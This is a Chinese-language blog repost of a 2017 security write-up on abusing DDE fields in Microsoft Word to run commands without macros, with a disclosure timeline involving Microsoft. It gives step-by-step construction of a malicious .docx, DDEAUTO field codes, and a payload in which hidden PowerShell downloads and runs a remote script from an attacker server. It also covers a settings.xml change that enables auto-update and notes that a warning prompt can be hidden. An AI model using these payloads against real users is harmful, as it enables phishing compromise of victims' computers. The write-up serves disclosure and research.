@websec007
2017-10-11T09:57:08.000000Z
字数 2336
阅读 2291
Exploit,Office
本文档由Saif发布于2017/10/09
作者:Etienne Stalmans, Saif El-Sherei
如果我们告诉你,在MS-Word上存在一种命令执行漏洞,其不需要任何宏或者内存溢出,会怎么样呢?
Windows 为应用之间进行数据传输提供了多种传输方式,其中一种叫做动态交换协议,我们简称它为DDE协议。DDE协议其实就是一套信息与指导参考。它在共享数据的应用程序之间发送消息,并使用共享内存在应用程序之间进行数据交换。应用程序可以使用DDE协议进行一次性数据传输和持续交换,应用程序在新的数据可用时,会将更新发送给彼此。
在我们下面的文档当中,我们用通过执行一个应用运行DDE协议,以此来为我们提供一个案例展现。在之前的贴子中,我们讨论过在MS-Excel中使用DDE获取命令执行,并且在使用此方法绕过了宏过滤邮件安全网关和企业VBA的策略方面获得成功。DDE不仅限于Excel中可以使用,在Word中也具有DDE功能,当然关于这2个功能的可能获取命令执行的途径,之前已经有人提出过,但是就我们所知,到目前为止还没有人实际证明过这一点。
艾蒂安和我正在研究一些有趣的COM对象,特别是与MS-Office有关的内容,其中最有意思的是我们发现COM方法在进行DDE初始化与DDE执行时都会被MS-Excel和MS-Word所暴露。自从MS-Excel给我们提供了命令执行,我们就决定踏上发现之旅,正式开始去发现如何在MSWord上使用DDE和如何在其上面实现命令执行。
进过不懈的努力,我们终于弄明白了如何在MS-Word上使用DDE。首先,我们在添加‘字段’上进行操作,请按照以下几个步骤进行操作即可。
插入 - 文档部件 - 域
选择 =(Formula) ,然后点击确认
之后,你应该会看到在文档中插入一个字段,并显示错误“!异常的公式结尾”,右键单击“此字段”,然后选择“切换字段代码”。
字段代码此时会显示出来,我们按照下面代码的内容,替换默认字段区域的代码;
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }
DDEAUTO 关键字会通知MS-Word这是一个DDE字段,并会在文档打开时自动自行,第二部分代码内容是分为两段,第一段内容为要执行的可执行文件的完整路径,第二段引号之间的内容是传递一个可执行程序(执行calc.exe)
另一种方法是使用: CTRL+F9 直接创建一个空的字段标识符,然后直接插入上面的 DDE 测试代码。
然后将文档保存为正常的Word文档“.docx”,并在任何机器上打开它。
第一个警告弹窗是更新文档链接,并没有任何恶意内容。
第二个提示要求用户是否需要执行指定的应用程序,到目前为止我们可以认为这是一个安全告警,仅是要求用户执行“cmd.exe”,这里我们可以通过相应的语法修改后隐藏它。
当受害者点击此文档时,看到没...大笑(yinxiao...)
这还不是最棒的,最漂亮的事情是,我们对此文档进行安全监测,发现竟然没任何有关宏或者其他恶意的安全告警...,所以...哈哈...大笑三声...剩下的大家自己意淫吧....
为了给大家展现一个POC,我们编制了一个使用Empire攻击器的演示视频,跟上面一样在进行进行安全扫描验证后,我们给出了下面的Payload。
{ DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evilserver.ninja/pp.ps1');powershell -e $e "}
???视频地址
我们使用“DDE”字段标识符同样可以实现相同效果:
{DDE "c:\\windows\\system32\\cmd.exe" "/c notepad" }
但是呢,你需要对.docx进行相应的修改,以启用其自动链接更新。为此,请在文档管理器中打开.docx并设置word/settings.xml,最后在将下面的XML标签插入到docPr元素中。
<w:updateFields w:val="true"/>
保存文档更新设置,此时Word会弹出自动更新链接的提示,与之前的提示稍有不同,但与前面的DDEAUTO的效果完全相同。
2017/08/23 – Reported to Microsoft to see if they are interested in a fix.
2017/08/23 – Microsoft responded that they successfully reproduced the issue and ask for more details.
2017/09/26 – Microsoft responded that as suggested it is a feature and no further action will be taken, and will be considered for a next-version candidate bug.
2017/09/10 – Public blog post
https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
http://pwndizzle.blogspot.com.es/2017/03/office-document-macros-ole-actions-dde.html